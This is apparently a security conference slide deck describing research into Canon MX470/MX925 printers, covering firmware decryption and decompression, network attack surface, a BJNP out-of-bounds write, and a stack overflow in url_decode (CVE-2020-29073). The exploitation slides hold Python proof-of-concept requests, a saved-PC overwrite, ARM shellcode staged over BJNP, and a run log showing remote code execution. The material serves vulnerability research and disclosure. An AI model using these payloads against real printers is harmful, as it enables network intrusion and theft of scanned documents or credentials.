Zombies ate my printer’s ink
Attacking a Canon printer, from firmware gathering to remote code execution
# Table of contents

1. **Introduction**

2. Context and objectives

3. Firmware analysis

4. Attack surface

5. Identified Vulnerabilities

6. Exploitation

7. Demo

8. Conclusion
Who are we?

Rémi Jullian
- Security Researcher at Synacktiv

Synacktiv
- Offensive security company created in 2012
- 90 Ninjas!
- 3 poles: pentest, reverse engineering, development
- 4 sites: Paris, Toulouse, Lyon, Rennes

Tristan Pourcelot
- Malware analyst at Exatrack
- Formerly Security Researcher at Synacktiv

ExaTrack
- Defensive security company created in 2018
- Find attackers in your networkz
- We are looking for Pokémon hunters!
- Mostly remote-based, with headquarters in Paris
## Table of contents

1. Introduction
2. Context and objectives
3. Firmware analysis
4. Attack surface
5. Identified Vulnerabilities
6. Exploitation
7. Demo
8. Conclusion
Context and objectives

Why looking at printers security?

- It can provide a long-term persistence mechanism
- It can be used to perform lateral movement within the internal network
- It can give access to sensitive documents that may be scanned and printed
- It has a wide attack surface
- You probably have one at home
- It’s fun :)
Related Work

- Security researchers from Contextis managed to run Doom on a Canon MG6450\(^1\)
- Exploited firmware encryption weaknesses
- Firmware updates are not signed
- Many security researchers have targeted printers in the past (\(^2\), \(^3\))

\(^1\)https://www.contextis.com/us/blog/hacking-canon-pixma-printers-doomed-encryption
\(^2\)https://infiltratecon.com/conference/briefings/attacking-xerox-multi-function-printers.html
\(^3\)http://hacking-printers.net/wiki/index.php/Main_Page
Choosing a target

- Canon MX 475
  - Last firmware compilation date: 2019/01/10
  - Firmware MX470 Series v3.100
  - USB PID: 0x1774
  - DRYOS version 2.3, release #0049+SMP

- Canon MX 925
  - Last firmware compilation date: 2019/01/28
  - Firmware MX920 Series v3.020
  - USB PID: 0x176b
  - DRYOS version 2.3, release #0049+SMP
# Table of contents

1. Introduction

2. Context and objectives

3. Firmware analysis

4. Attack surface

5. Identified Vulnerabilities

6. Exploitation

7. Demo

8. Conclusion
Obtaining the firmware

- MX920 / MX470 management web interface allows firmware update
- Firmware update is made over HTTP and supports HTTP Proxy
- Custom HTTP client **IP Client/1.0.0.0**
- Each firmware has its own hardcoded update URL
- The ID used in the URL is the USB Product ID

The following URLs can be used for firmware updates:

- `http://gdlp01.c-wss.com/rmds/ij/ijd/ijdupdate/176b.xml`
- `http://gdlp01.c-wss.com/rmds/ij/ijd/ijdupdate/1774.xml`
Obtaining the firmware

```
remi@debian:~$ curl -A 'IP Client/1.0.0.0' \
    http://gdlp01.c-wss.com/rmds/ij/ijd/ijdupdate/176.xml
```

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<update_info>
    <version>3.020</version>
    <url>http://gdlp01.c-wss.com/gds/6/0400004806/01/176BV3020AN.bin</url>
    <size>37127366</size>
</update_info>
```
Obtaining the firmware

remi@debian:$ curl -A 'IP Client/1.0.0.0' \ http://gdlp01.c-wss.com/gds/6/0400004806/01/176BV3020AN.bin \ -o 176BV3020AN.bin

- Firmware file format is unknown
  remi@debian:$ file 176BV3020AN.bin
  176BV3020AN.bin: data

- Firmware looks encrypted
  remi@debian:$ strings -n5 176BV3020AN.bin
Decrypting the firmware

- The firmware encryption was documented by **Contextis** in their blogpost.
- XOR based, hardcoded key
- Expected output is based on **SREC**
- Each char can be either a newline (\(0x0D, 0x0A\)) or an hex char

Let's reimplement the cleartext attack!
At the end, we obtain the key!
Code available on Synacktiv's Github
We discovered afterwards that someones already had published a similar tool...  

\[
\text{for each char_index in key:}
\quad \text{for many blocks:}
\quad \quad \text{for each possible_key:}
\quad \quad \quad \text{if block[char_index] ^ possible_key is not possible_char:}
\quad \quad \quad \quad \text{remove possible_key}
\]

\(^a\)https://github.com/leecher1337
Decryption the firmware

| 00000000 | 53 46 30 39 30 30 30 30 | 30 30 35 35 33 31 33 37 | SF090000 00553137 |
| 00000010 | 33 36 34 32 43 31 0d 0a | 53 46 30 35 30 30 30 30 | 3642C1__ SF050000 |
| 00000020 | 30 39 30 31 46 30 0d 0a | 53 46 30 43 30 30 30 30 | 0901F0__ SF0C0000 |
| 00000030 | 30 32 30 30 32 32 30 30 | 30 30 30 30 46 46 46 46 | 02002200 0000FFFF |
| 00000040 | 46 46 44 32 0d 0a 53 33 | 31 35 30 30 32 32 30 30 | FFD2__S3 15002200 |
| 00000050 | 30 30 38 38 30 30 30 30 | 45 41 43 45 30 36 30 30 | 00880000 EACE0600 |
| 00000060 | 45 42 44 33 46 30 32 31 | 45 33 39 43 30 32 39 46 | EBD3F021 E39C029F |

Decrypted firmware
Loading the firmware in IDA

- baby steps:
  - Let’s convert it to binary so we can load it!
  - ISA identification

```bash
canon → objcopy -O binary -I srec decrypted.txt decrypted.bin
canon → binwalk -A decrypted.bin
```

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>6420</td>
<td>0x1914</td>
<td>ARM instructions, function prologue</td>
</tr>
<tr>
<td>6500</td>
<td>0x1964</td>
<td>ARM instructions, function prologue</td>
</tr>
<tr>
<td>6516</td>
<td>0x1974</td>
<td>ARM instructions, function prologue</td>
</tr>
</tbody>
</table>
Loading the firmware in IDA

Duh

At least the beginning looks like ARM
Decompressing the main firmware

- Interesting strings can be found
- Still, most of them look truncated or incomplete
- This firmware is probably compressed
- Let’s find the decompression routine
- IDA gave us some functions
- One of them looks interesting!

Strings compressed
Decompressing the main firmware

_unused__fastcall small_decompress_routine(_BYTE *dictionary, _BYTE *dest, int uncompressed_length)
{
    /* ... */
    end = &dest[uncompressed_length];
do
    { /* ... */
        /* ... */
    if ( chunk_size )
    {
        v9 = (unsigned __int8)*dictionary++;
        off_ = (unsigned int)(first_byte << 28) >> 30;
        src_start = &dest[-v9];
        if ( off_ == 3 )
            off_ = (unsigned __int8)*dictionary++;
        src = &src_start[-256 * off_];
        chunk_size_ = chunk_size + 1;
        do
        {
            byte = *src++;
            *dest++ = byte;
            --chunk_size_;
        } while ( chunk_size_ >= 0 );
    }
    while ( dest < end );
    return dictionary;
}

- Small decompression routine (~ 50 LOC)
- Compression algorithm is similar to LZ77
- Repeated occurrences of data are referred to data existing earlier in the uncompressed data stream
- Uses a sliding window size of 65k
Decompressing the main firmware

- Dictionary is stored at 0x043ff000
- Uncompressed firmware is stored at 0x1DF9DE00
- Uncompressed firmware size is 0x108A780
Decompressing the main firmware

We developed a script based on `unicorn` to emulate firmware decompression

```python
#!/usr/bin/env python3

from unicorn import *
from unicorn.arm_const import *

# ...

mu = Uc(UC_ARCH_ARM, UC_MODE_ARM|UC_MODE_THUMB)

fw_data = open(FW_PATH, 'rb').read()

mu.mem_map(STACK_ADDR + 1 - STACK_SIZE, STACK_SIZE)  # Map stack
mu.mem_map(BASE, 16*1024*1024)  # Allocate 16MB for mapping firmware
mu.mem_write(BASE, fw_data)  # Map firmware at 0x04000000

# Map buffer for decompressed firmware
mu.mem_map(0x1DF9DE00 & (~(0x1000-1)), (0x108A780 & (~(0x1000-1))) + 0x2000)
mu.reg_write(UC_ARM_REG_SP, STACK_ADDR & (~(0x1000-1)))
mu.emu_start(0x04220998+1, 0x042209ae)

with open(FW_PATH_UNCOMPRESSED, 'wb') as f:
    memory = mu.mem_read(0x1DF9DE00, 0x108A780)
    f.write(memory)
```

Decompressing the main firmware

Single string compressed

ROM:04D81A23 aRomanprimasans DCB "RomanPrimaSansMonoBT-"
ROM:04D81A38 DCB 0x15
ROM:04D81A39 DCB 0x10
ROM:04D81A3A DCB 0x10
ROM:04D81A3B aCopyright1990 DCB "Copyright 1990-"
ROM:04D81A4A DCB 5
ROM:04D81A4B DCB 0x30 ; 0
ROM:04D81A4C DCB 0x17
ROM:04D81A4D DCB 0x39 ; 9
ROM:04D81A4E DCB 0x20
ROM:04D81A4F aBitstreamIncAl DCB "Bitstream Inc. All ",0x24

Single string uncompressed

ROM:1EF69E1E 52 6F 6D 61 6E+aRomanprimasans DCB "RomanPrimaSansMonoBT-RomanCopyright 1990-1999 Bitstream Inc. Al"
ROM:1EF69E1E 50 72 69 6D 61+ DCB "l rights reserved.PrimaSansMono BTPrima Sans MonoPrimaSansMono B"
ROM:1EF69E1E 53 61 6E 73 4D+ DCB "T Romanmfpqctt-v4.5 Mon May 10 11:02:39 EDT 1999",0
(Re) loading the firmware

Problems:
- We don't know the memory map of the firmware
- We don't know the entry point or base address
- Common problems when reversing firmwares

Results:
- 58k functions!
- Let's start hunting!

Solutions:
- Use the offsets in the bootloader to add memory segments
- Rebase the program using the address of the decompressed blob
- Pattern matching for identifying ARM prologs
- Scripting for renaming functions using debug strings

Much better
DryOs

Realtime Operating System
- DryOs is a realtime operating system
- Derived from the µItron project
- Mostly known for being used in Canon's DSLR
- Useful information for reversing can be found in the CHDK wiki and in the Magic Lantern project

Security countermeasures
- No traces of any countermeasures (be it NX, stack cookies or ASLR)
- Makes the exploitation easy, right?
DryOs - Tasks

- All tasks are defined in a global array
- Each task references its name
- More than 350 tasks, but many are empty
- Tedious to reverse:
  - Syscalls
  - OS primitives

```c
struct task {
    int field_0;
    int field_4;
    void *lpTaskFunction;
    int field_C;
    int field_10;
    int dwStackSize;
    char *lpszTaskName;
    int field_1C;
};
```

HTTP tasks

```
<task> 0, 0, TASK_http+1, 0xA, 0x400, 0, aTskhttpd, 1>; 0x5C
<task> 0, 0, task_http_worker0+1, 0xA, 0x3000, 0, aIdTskhttpwork0+3, 1>; 0x5D
<task> 0, 0, task_http_worker1+1, 0xA, 0x3000, 0, aIdTskhttpwork1+1+3, \1>; 0x5E
<task> 0, 0, sub_1E1B7BF0+1, 0xA, 0x3000, 0, aIdTskhttpwork2+3, 1>; 0x5F
```
# Table of contents

1. Introduction
2. Context and objectives
3. Firmware analysis
4. Attack surface
5. Identified Vulnerabilities
6. Exploitation
7. Demo
8. Conclusion
Attack surface

The network attack surface is quite huge

- DryOS TCP / IP stack
- 802.11 stack
- Many network services opened

But we had a limited amount of time...

- Tried to find Canon custom services
- Our goal: finding an exploitable vulnerability
**Opened TCP ports**

- Scan for all TCP ports\(^5\)

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
<td>Canon Pixma printer http config (KS_HTTP 1.0)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>_http-title: Site doesn't have a title.</td>
</tr>
<tr>
<td>515/tcp</td>
<td>open</td>
<td>printer</td>
<td></td>
</tr>
<tr>
<td>631/tcp</td>
<td>open</td>
<td>ipp</td>
<td>CUPS 1.4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>_http-server-header: CUPS/1.4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>_http-title: 404 Not Found</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Service Info: Device: printer</td>
</tr>
</tbody>
</table>

- Custom HTTP server **KS_HTTP/1.0** (80/tcp)
- Line Printer Daemon Protocol (515/tcp)
- Internet Printing Protocol (631/tcp)

\(^5\) `nmap -A -p <IP>`
Opened UDP ports

Scan for all UDP ports

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
</tr>
</thead>
<tbody>
<tr>
<td>68/udp</td>
<td>open</td>
<td>filtered</td>
</tr>
<tr>
<td>500/udp</td>
<td>open</td>
<td>filtered</td>
</tr>
<tr>
<td>3702/udp</td>
<td>open</td>
<td>filtered</td>
</tr>
<tr>
<td>5353/udp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>8611/udp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>8612/udp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>8613/udp</td>
<td>open</td>
<td></td>
</tr>
</tbody>
</table>

Interesting services:
- Zeroconf (5353/udp)
- Canon BJNP (8611-8613/udp)

{nmap -sU -p <IP>}

\(^6\)
Custom HTTP Server

- Following the tasks structure, we identified one task named `tskhttpd`, acting as a “main” HTTP controller.
- There is also 20 workers tasked named `tskHttpWorkX`.
- Distinctive `Server` header: `KS_HTTP/1.0`.
  - Around 3500 results on Shodan :)
- Each worker is in charge of parsing the request's elements, such as headers, URL, ...
- Dispatch is done between pages depending on their URL.
- Several dozen pages are accessible, defined in a global array of the following structure:

```c
struct web_page_handler {
    void *field_0;
    char *base_uri;
    char *filename;
    void *handler;
    int field_10;
    int field_14;
};
```

Web pages handlers:

- `web_page_handler <null_zero, aEnglishPagesWi_0, aLanweb07Htn_0, 
  sub_1E22B884+1, 0, 0>; 0x76`
- `web_page_handler <null_zero, aEnglishPagesWi, aCgiLanCgi, 
  cgi_lan_cgi_handler+1, 0, 0>; 0x77`
- `web_page_handler <null_zero, aEnglishPagesWi, aCgiWlsCgi, 
  sub_1E22DD5E+1, 0, 0>; 0x78`
- `web_page_handler <null_zero, aEnglishPagesWi, aCgiPspCgi, 
  sub_1E22DD98+1, 0, 0>; 0x79`
- `web_page_handler <null_zero, aEnglishPagesWi, aCgiPfCgi, 
  sub_1E22DDD6+1, 0, 0>; 0x7A`
- `web_page_handler <null_zero, aEnglishPagesWi, aCgiOthCgi, 
  XXX_cgi_oth_VULN+1, 0, 0>; 0x7B`

---

SYNACKTIV ExaTrack
What is BJNP?

- A proprietary protocol designed by Canon
- Allows printing documents over the network
- Allows LAN service discovery
- Not many resources are available related to this protocol
  - Debian package `cups-backend-bjnp`
  - Nmap script `bjnp-discover.nse`

As this is a proprietary “binary” protocol (i.e handling many “size” fields), it is always a target of choice when looking for Out-Of-Bounds read/write or integer overflow vulnerabilities.

7 apt source cups-backend-bjnp
8 apt-source nmap-common
BJNP Protocol

Printer model and firmware version enumeration

```bash
sudo nmap -sU -p 8611,8612 --script bjnp-discover <IP>
8611/udp open canon-bjnp1
| bjnp-discover:
|   Manufacturer: Canon
|   Model: MX470 series
|   Description: Canon MX470 series
|   Firmware version: 3.100
| Command: BJL,BJRaster3,BSCCe,NCCe,IVEC,IVECPLI
```
Table of contents

1. Introduction
2. Context and objectives
3. Firmware analysis
4. Attack surface
5. Identified Vulnerabilities
6. Exploitation
7. Demo
8. Conclusion
BJNP TCP OOB-Write

- Out-of-band write identified in BJNP over TCP
- On the MX470 series, BJNP is **only** enabled over UDP
- We couldn’t trigger this bug on our device
- Maybe exploitable on other Canon devices?
BJNP TCP OOB-Write

The BJNP protocol is handled by the following tasks:

- tskBJNP
- tskBJNPPrinterTCP
- tskBJNPPrinterUDP
- tskBJNPScannerTCP
- tskBJNPScannerUDP

The vulnerability resides in task tskBJNPPrinterTCP
BJNP TCP OOB-Write

- Task tskBJNPPrinterTCP initializes a context structure for handling BJNP messages.
- The buffer used to store received messages is 0x6000 bytes long.
- It uses socket, bind, listen, select and accept to handle incoming connections.
- Each incoming TCP chunk is handled in BJNI P_tcp_process_message.
BJNP TCP OOB-Write

- BJNP_tcp_process_message reads the 16 bytes structure bjnp_header
- This structure is defined in cups-backend-bjnp package as following

```c
struct __attribute__((__packed__)) bjnp_header {
    char BJNP_id[4]; /* string: BJNP */
    uint8_t dev_type; /* 1 = printer, 2 = scanner */
    uint8_t cmd_code; /* command code/response code */
    uint16_t unknown1; /* unknown, always 0? */
    uint16_t seq_no; /* sequence number */
    uint16_t session_id; /* session id for printing */
    uint32_t payload_len; /* length of command buffer */
};
```

- If the magic number is valid BJNP_tcp_process_message calls a dispatch function
- The dispatch function calls several routines according to cmd_code value
```c
int __fastcall bjnp_tcp_handle_msg_0x01(bjnp_tcp_ctx *ctx) 
{
    unsigned int payload_len; // r5
    int v3; // r6

    payload_len = bjnp_read_payload_len((int)ctx->buff_addr);
bjnp_build_response_header(ctx->buff_addr, 0, 0);
v3 = bjnp_tcp_send(ctx->sockclient, (int)ctx->buff_addr, 16u);
if ( bjnp_read_response(ctx, payload_len) != payload_len )
    v3 = -1;
return v3;
}
```

- `bjnp_read_payload_len` returns the field `payload_len` from the structure `bjnp_header`
- This field is specified by the TCP client which sent the header, it is entirely controlled!
- It is then used to specify to `bjnp_read_response` how many bytes must be read on the socket
- This gives an OOB write primitive as the destination buffer size is 0x6000
Is this bug exploitable?

- Probably: The BJNP UDP context structure is located near after the BNJP TCP buffer
- The size controlled is a 32-bit integer
- A scenario could be to override the callback function pointer initialized in `tskBJNPPrinterUDP`

```c
int tskBJNPPrinterUDP()
{
    /* ... */

    g_bjnp_udp_ctx.port = 8611;
    g_bjnp_udp_ctx.callback = (int)bjnp_udp_callback;

    /* ... */
}
```
HTTP request Stack based buffer overflow

- Two targets:
  - The main request parsing
  - Custom parsing of user controlled data

- Previous vulnerabilities around CGIs:
  - CVE-2013-4615 (DoS in two requests)

- Steps:
  - Reverse the handlers
  - Identify parsing of user-controlled data
HTTP - Typical CGI parsing

```c
int __fastcall cgi_lan_cgi_handler(){
    // Exercpts from the handler for /English/pages_WinUS/cgi_lan.cgi
    _BYTE lpszLAN_TXT1[128]; // [sp+CCh] [bp-674h] BYREF
    _BYTE *lpszCurrentDataEncoded; // [sp+14Ch] [bp-5F4h]
    // [...] 
lpszCurrentDataEncoded = (g_Vtable)->get_data(g_Vtable, "LAN_OPT1");
dwLanOPT1 = atoi(lpszLAN_TXT1_encoded);
    // [...] 
if (!dwLanOPT1){
    lpszCurrentDataEncoded = (g_Vtable)->get_data(g_Vtable, "LAN_TXT1");
    url_decode(lpszCurrentDataEncoded, lpszLAN_TXT1);
    // [...] 
}
    // [...] 
}
```

I like the smell of stack buffers in the morning
What happens in this `url_decode` function?
HTTP - Vulnerable parsing

```c
int __fastcall url_decode(unsigned __int8 *lpszInput, unsigned __int8 *lpszOutput)
{
    int cur_char; // r0
    char *v5; // r4
    int result; // r0
    char v7[24]; // [sp+0h] [bp-18h] BYREF

    while ( 1 )
    {
        result = *lpszInput; // Return when the parameter is finished
        if ( !*lpszInput )
            break;
        cur_char = *lpszInput;
        if ( cur_char == '%' ) {
            // Convert % encoded characters
        } else if ( cur_char == '&' ) { // Terminate the parameter parsing if we attain the & separator
            +lpszInput; *lpszOutput++ = 0;
        } else {
            if ( cur_char == '+' ) {
                // Replace + by spaces
                +lpszInput; *lpszOutput = 0x20;
            } else { // Copy the character
                *lpszOutput = *lpszInput++;
            }
            +lpszOutput;
        }
    }
    *lpszOutput = result;
    return result;
}
```
HTTP Stack Based Buffer Overflow

Summary

- `urldecode` does not check boundaries and will happily overwrite whatever is pointed by the second argument
- This function is called 55 times in the binary
- 55 overflows for the price of 1
- **CVE-2020-29073**

POC

- Because we love those 'A's
- Success -> The printer reboots

```python
import requests
url = 'http://<TARGET_IP>/English/pages_WinUS/cgi_oth.cgi'
payload = b'A'*512
post_data = { 'OTH_TXT1' : payload }
r = requests.post(url, data=post_data)
```
Exploitation strategy 1

- Deduce calling stack-frame
- Let's improve the previous POC
- Override saved PC register like in the 90s
- Store shellcode in stack-based parameter

**OTH.TXT1**
Exploitation strategy 1

Set PC register to 0x41414141

```python
import requests
import struct

shellcode_addr=0x41414141
url='http://<TARGET_IP>/English/pages_WinUS/cgi_oth.cgi'

oth_txt1 = b'A'*0x80 + b'BBBB' + b'R4R4' + b'R5R5' + b'R6R6' + b'R7R7' + struct.pack('<I', shellcode_addr)
post_data = { 'OTH_TXT1' : oth_txt1 }
r = requests.post(url, data=post_data)
```
Exploitation strategy 1

Now that we control **PC**, how to redirect it to our shellcode?

- We don't know stack-pointer (**SP**) value of the task handling HTTP request
- We don't have a debugger
- Each failed exploitation tentative involves ~ 30 seconds waiting for the printer to reboot
- We are lazy and don't want to reverse Dry-OS task internals
- Quick and dirty solution: sending a BJNP frame
Exploitation strategy 2

- BJNP UDP frames are always copied at 0x18F6FAA0
- We can send frames up to 0x2000 bytes
- BJNP payload can contain any bytes
- Let's embed our shellcode into a BJNP frame

```c
int tskBJNPPrinterUDP() {
    int v0; // r0
    int v1; // r0

    sub_197AB2("bjnp_printer_udp.c", 123, "start tskBJNPPrinterUDP");
    while (1)
    {
        sub_2E5DE();
        sub_1EFC4(&g_bjnp_udp_ctx);
        g_bjnp_udp_ctx.port = 8611;
        g_bjnp_udp_ctx.callback = (int)sub_17228;
        g_bjnp_udp_ctx.field_6B = 0;
        g_bjnp_udp_ctx.field_6A = 0;
        g_bjnp_udp_ctx.field_1ED = 0;
        g_bjnp_udp_ctx.field_34 = (int)g_bjnp_udp_ctx.gap68;
        g_bjnp_udp_ctx.buf_addr = 0x18F6FAA0;
        g_bjnp_udp_ctx.buf_size = 0x2000;
        BJNP_UDP_Daemon(0x18F6F888);
        if (v0 < 0)
            sub_197AB2("bjnp_printer_udp.c", 142, "BJNP_UDP_Daemon error");
        if (*((DWORD*)g_bjnp_udp_ctx.gap64 == 1))
            break;
        BJNP_udp_close_sockets(0x18F6F888);
    }
    BJNP_udp_close_sockets(0x18F6F888);
    sub_17711E(74, 0x80000000);
    v1 = sub_197AB2("bjnp_printer_udp.c", 154, "exit tskBJNPPrinterUDP");
    return sub_174FAE(v1);
}
```
Let’s use a dummy infinite loop shellcode

**loop:**

BL loop

- Printer is stalled but doesn't reboot!
- Remaining work: restore context + shellcode
Exploitation strategy 3

Now we have arbitrary code execution, let’s extract arbitrary data

Dry Os limits
- Can’t spawn a reverse-shell
  - No proper shell
  - No `execve` / `dup` like system call

First option: Open a new outgoing connection
- Use `AF_INET` socket (with types `SOCK_DGRAM` or `SOCK_STREAM`)

Second option: Use current HTTP context
- Try to craft a custom HTTP body
- Need to understand how HTTP responses are handles
Exploitation strategy 3

CGI handler analysis allows identifying vtable and several methods:

```c
int __fastcall HTTP_Write_Basic_Response_Header_200(struct http_ctx *ctx)
{
    lpHttpObject->vtable->HTTP_OBJ_Write_Http_Response_Code(lpHttpObject,
        ctx, 200, "OK");
    lpHttpObject->vtable->HTTP_OBJ_Write_Http_Header(lpHttpObject,
        ctx, "Content-Type: text/html\r\n", 0);
    return lpHttpObject->vtable->HTTP_OBJ_Write_Http_Header(lpHttpObject,
        ctx, "\r\n", 0);
}
```
Exploitation strategy 3

Calling these 3 methods seems to be sufficient:

<table>
<thead>
<tr>
<th>Method</th>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP_OBJ_Write_Http_Header</td>
<td>0x0009F66C</td>
<td>Writes a raw HTTP header line like Content-Type: text/html\r\n</td>
</tr>
<tr>
<td>HTTP_OBJ_Write_Http_Response_Code</td>
<td>0x0009F6B4</td>
<td>Sets both the status code and the reason phrase.</td>
</tr>
<tr>
<td>HTTP_OBJ_Write_Http_Body</td>
<td>0x0009F70E</td>
<td>Write a raw HTTP body payload, usually HTML tags.</td>
</tr>
</tbody>
</table>

In practice it didn’t work as expected...
Exploitation strategy 4

- Our shellcode ends by `PUSH {R0} / POP {PC}` for restoring execution flow
- R0 is set to `Web_CGI_oth_extract_OTH_args+0xA`
- This allows `Web_CGI_oth_extract_OTH_args` then `Web_CGI_oth` to terminate

<table>
<thead>
<tr>
<th>ROM:00204E6E</th>
<th>Web_CGI_oth+0x4E</th>
</tr>
</thead>
<tbody>
<tr>
<td>ROM:00204DC0</td>
<td>Web_CGI_oth_extract_OTH_args+0xA</td>
</tr>
<tr>
<td>ROM:00204D22</td>
<td>Web_CGI_oth_extract_OTH_TXT1+0x2B</td>
</tr>
<tr>
<td>ROM:001EA496</td>
<td>Web_URL_decode_stack_bof</td>
</tr>
</tbody>
</table>

- Problem: After `Web_CGI_oth+4E` our custom HTTP response is overridden
Exploitation strategy 4

- Override WebCGI_oth saved PC value
- It can be accessed relatively from SP
- Change value from `Web_CGI_oth+0x4E` to `Web_CGI_oth+0x6e`

```
Web_CGI_oth+0x6e:
ADD   SP, SP, #0x1FC
ADD   SP, SP, #0x1FC
ADD   SP, SP, #0x16C
POP   {R4-R7,PC} ; a5
```

Cool, this time our response isn’t overridden anymore!
# Table of contents

1. Introduction
2. Context and objectives
3. Firmware analysis
4. Attack surface
5. Identified Vulnerabilities
6. Exploitation
7. Demo
8. Conclusion
- We can extract arbitrary data with our shellcode
- Let's try to extract the DryOS version string!

```assembly
_write_firmware_version:
  LDR R0, =#0xB17FC0 @ lpHttpObject
  MOV R1, R4 @ HTTP response object from Web_CGI
  stack frame
  LDR R2, =#0xA529C7 @ DryOS string address in firmware
  MOV R3, #0 @ Default encoding
  BLX R6 @ call HTTP_OBJ_Write_Http_Body
```

Targeted string at 0xA529C7

ROM:00A529C7 aDryosVersion23 DCB "DRYOS version 2.3, release #0049+SMP", 0
remi@debian:~$ python3 exploit_canon_mx470.py 192.168.2.183
Shellcode size is 72 bytes
Sending BJNP UDP payload of size 88 bytes
Waiting for BJNP UDP response...
Received BJNP UDP response of size 16 bytes
Sending POST request to http://192.168.2.183/English/pages_WinUS/cgi_oth.cgi for triggering shellcode
Received HTTP response code 200 from server KS_HTTP/1.0
Received headers: "{'MIME-Version': '1.0', 'Server': 'KS_HTTP/1.0', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}"
Received body: "DRYOS version 2.3, release #0049+SMP"
# Table of contents

1. Introduction
2. Context and objectives
3. Firmware analysis
4. Attack surface
5. Identified Vulnerabilities
6. Exploitation
7. Demo
8. Conclusion
Conclusion

Objectives

Vendor Response

- After several months:
  - "This is CVE-2013-4615"
  - "Isolate the printer from network"
- Added authentication to some of the webpages following Contextis research
Going further

Unexplored leads

- Reverse `cgi_wls.cgi` and identify where Wifi keys are stored in memory
- Reverse `cgi_pas.cgi` and identify where panel administration password is stored in memory
- Search for other vulnerabilities!
- Decrypt new firmwares
- Authentication bypass for newer firmware
- Fuzz :)

Released scripts and tools

Our scripts and tools are available at https://github.com/synacktiv/canon-tools

- Firmware decryption script
- Unicorn based firmware decompression script
- POC and shellcode targeting Canon MX470 series
DO YOU HAVE ANY QUESTIONS?